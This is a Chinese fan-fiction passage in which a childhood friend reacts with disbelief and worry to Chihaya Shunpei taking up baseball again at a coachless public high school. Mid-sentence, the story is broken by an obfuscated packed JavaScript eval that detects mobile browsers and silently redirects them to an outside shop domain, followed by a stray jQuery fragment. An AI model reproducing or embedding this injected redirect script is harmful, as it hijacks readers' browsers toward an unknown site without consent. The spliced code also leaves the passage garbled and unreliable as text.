当听到千早瞬平又开始打棒球的消息时,我都不敢相信自己的耳朵。
明明在国中时期后期,他表现得那么抗拒,甚至还说棒球这项运动很无趣,一幅「自己和棒球只能存在一个」的势不两立的架势……
就是这样的人在刚进入小手指高中没几天就开始打棒球了?
“你是认真的吗?”作为和千早瞬平青梅竹马的我煞有介事地摸着他的额头,看他有没有生病。
在我看来,就算喜欢重新喜欢上棒球,也要去私立高中打棒球更好一些吧?!我可是知道瞬平收到过很多棒球强校的邀请,对方当时还表现得那么坚决,毅然决然地把那些邀请拒之门外。我都以为他这辈子不会再打棒球了,结果他跟我说他又开始打棒球了,还是在都立高中?
“你就那么喜欢打逆风局?”
不,我其实更想说对方就那么想自虐?
都立高中哪怕参加棒球比赛,也很少有打进甲子园的,更别说小手指棒球社好像连个教练都没有,就跟棒球同好会没什么两样。
因为知道千早瞬平在富士见青少棒队受到过多少专业培训,我就越为现在对方没有教练指导,甚至连像样的棒球训练项目可能都没有的现状感到绝望。
高中可是很重要的阶段,尤其是对打棒球的人来说,拥有极好的训练条件,就能在实力上有重大提升,那是难以被忽视的事实。
我很担心千早瞬平会在以后的比赛中认识到这样的落差而再次讨厌棒球。
千早瞬平握住我测试他有没有生病的手腕,把我的手从他额头上拿了下来。
“我现在就在那里训练。你要是有时间,就过来看吧。”
“你连解释一下的时间都省了吗?”我真的很想吐槽,或者说我现在已经吐槽了。
“要是那个时候我能说动你不要放弃棒球,你说不定就能去帝德了。”我说到这里,不免有几分难过。
其实,我并非觉察不出千早瞬平那隐藏在别扭状态下的对棒球的执着。对方很喜欢棒球,不然也不会为了打棒球,拼命学习,吃东西弥补自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13792198|145894||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身高带来的优势。
只是打棒球的喜悦冲散不了危机感,在某个时刻,瞬平的那份压力到达了顶峰,以至于否定了一切他之前的努力,甚至连棒球都排斥了起来。
我有努力过让对方正视对棒球的喜欢,但都失败了。
想起对方在放弃棒球的时期里,把大把时间花在和棒球无关的事情上,好似快乐,但时不时会把目光看向钟表,好像做的事情让他倍感煎熬,可以说度日如年……
我就很无力。
千早瞬平那么喜欢棒球,自己作为朋友却没有对其话疗成功,让他回到喜欢棒球,坚持棒球这项运动的路上。现实的残酷就那么真实地展现在我的面前。
“不要说以前的事了。”千早瞬平摸了下我的头,说,“是我自愿放弃棒球的。”
我听着对方的话,眼眶泛热,嗯了一声。
不管怎么说,瞬平能重新喜欢上棒球,都是一件让人高兴的事。
另外——
“你要不要尝试一下转学去帝德?”